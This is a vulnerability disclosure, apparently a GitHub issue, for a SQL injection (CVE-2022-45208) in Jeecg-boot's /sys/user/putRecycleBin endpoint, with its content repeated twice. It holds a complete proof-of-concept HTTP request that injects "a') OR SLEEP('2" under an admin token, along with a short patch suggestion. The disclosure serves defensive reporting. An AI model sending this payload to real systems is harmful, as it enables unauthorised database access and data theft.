Jeecg-boot v3.4.3 was discovered to contain a SQL injection vulnerability via the component /sys/user/putRecycleBin.
# sysUserMapper.xml
revertLogicDeleted. You can see that no precompiling is performed
<img width="1048" alt="截屏2022-10-25 11 40 04" src="https://user-images.githubusercontent.com/60163868/197676949-8016d0d1-9874-45fd-ba3f-89c63d8a2c90.png">

# SysUserController.java
<img width="1278" alt="截屏2022-10-25 11 40 32" src="https://user-images.githubusercontent.com/60163868/197676991-1d2c1303-6b2c-4629-a4e3-32d4da435bb0.png">

# SysUserServiceImpl.java
<img width="1201" alt="截屏2022-10-25 11 41 42" src="https://user-images.githubusercontent.com/60163868/197677147-41162874-a54a-462e-ab5f-0924e086c787.png">
So Users can pass in malicious parameters through http requests to achieve SQL injection

# poc
The website will return immediately when the following content is passed in
<img width="1513" alt="截屏2022-10-25 11 43 33" src="https://user-images.githubusercontent.com/60163868/197677356-38bc1a03-a8cd-414a-8f8b-a8d1afc2a022.png">
After the following content is passed in, the website will return after a delay of 2 seconds
<img width="1636" alt="截屏2022-10-25 11 43 57" src="https://user-images.githubusercontent.com/60163868/197677403-b693a283-5219-4d31-acd1-e6de9e403882.png">

# vuln
attack can user this to get data from database

# payload:
PUT /jeecg-boot/sys/user/putRecycleBin HTTP/1.1
Host: 192.168.1.1:8088
Content-Length: 34
Request-Origion: Knife4j
Accept: */*
knife4j-gateway-code: ROOT
X-Access-Token: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJleHAiOjE2NjY2NjgzNjYsInVzZXJuYW1lIjoiYWRtaW4ifQ.WUx3LR8rvOp92_GueiJtlqtjV4tDRnOZos_-IAp34nA
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0 Safari/537.36
Content-Type: application/json
Origin: http://192.168.1.1:8088
Referer: http://192.168.1.1:8088/jeecg-boot/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9,zh-CN;q=0.8,zh;q=0.7
Connection: close

{
  "userIds": "a') OR SLEEP('2"
}


# patch
In (${})
It seems that this cannot be modified to precompile
So it is recommended to add some keywords such as')
[CVE-2022-45208]/sys/user/putRecycleBin is affected by sql injection
This is a GitHub Issue
repo:jeecg-boot
owner:jeecgboot
Title : [CVE-2022-45208]/sys/user/putRecycleBin is affected by sql injection
Issue date:

--- start body ---
# sysUserMapper.xml
revertLogicDeleted. You can see that no precompiling is performed
<img width="1048" alt="截屏2022-10-25 11 40 04" src="https://user-images.githubusercontent.com/60163868/197676949-8016d0d1-9874-45fd-ba3f-89c63d8a2c90.png">

# SysUserController.java
<img width="1278" alt="截屏2022-10-25 11 40 32" src="https://user-images.githubusercontent.com/60163868/197676991-1d2c1303-6b2c-4629-a4e3-32d4da435bb0.png">

# SysUserServiceImpl.java
<img width="1201" alt="截屏2022-10-25 11 41 42" src="https://user-images.githubusercontent.com/60163868/197677147-41162874-a54a-462e-ab5f-0924e086c787.png">
So Users can pass in malicious parameters through http requests to achieve SQL injection

# poc
The website will return immediately when the following content is passed in
<img width="1513" alt="截屏2022-10-25 11 43 33" src="https://user-images.githubusercontent.com/60163868/197677356-38bc1a03-a8cd-414a-8f8b-a8d1afc2a022.png">
After the following content is passed in, the website will return after a delay of 2 seconds
<img width="1636" alt="截屏2022-10-25 11 43 57" src="https://user-images.githubusercontent.com/60163868/197677403-b693a283-5219-4d31-acd1-e6de9e403882.png">

# vuln
attack can user this to get data from database

# payload:
PUT /jeecg-boot/sys/user/putRecycleBin HTTP/1.1
Host: 192.168.1.1:8088
Content-Length: 34
Request-Origion: Knife4j
Accept: */*
knife4j-gateway-code: ROOT
X-Access-Token: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJleHAiOjE2NjY2NjgzNjYsInVzZXJuYW1lIjoiYWRtaW4ifQ.WUx3LR8rvOp92_GueiJtlqtjV4tDRnOZos_-IAp34nA
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0 Safari/537.36
Content-Type: application/json
Origin: http://192.168.1.1:8088
Referer: http://192.168.1.1:8088/jeecg-boot/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9,zh-CN;q=0.8,zh;q=0.7
Connection: close

{
  "userIds": "a') OR SLEEP('2"
}


# patch
In (${})
It seems that this cannot be modified to precompile
So it is recommended to add some keywords such as')
--- end body ---
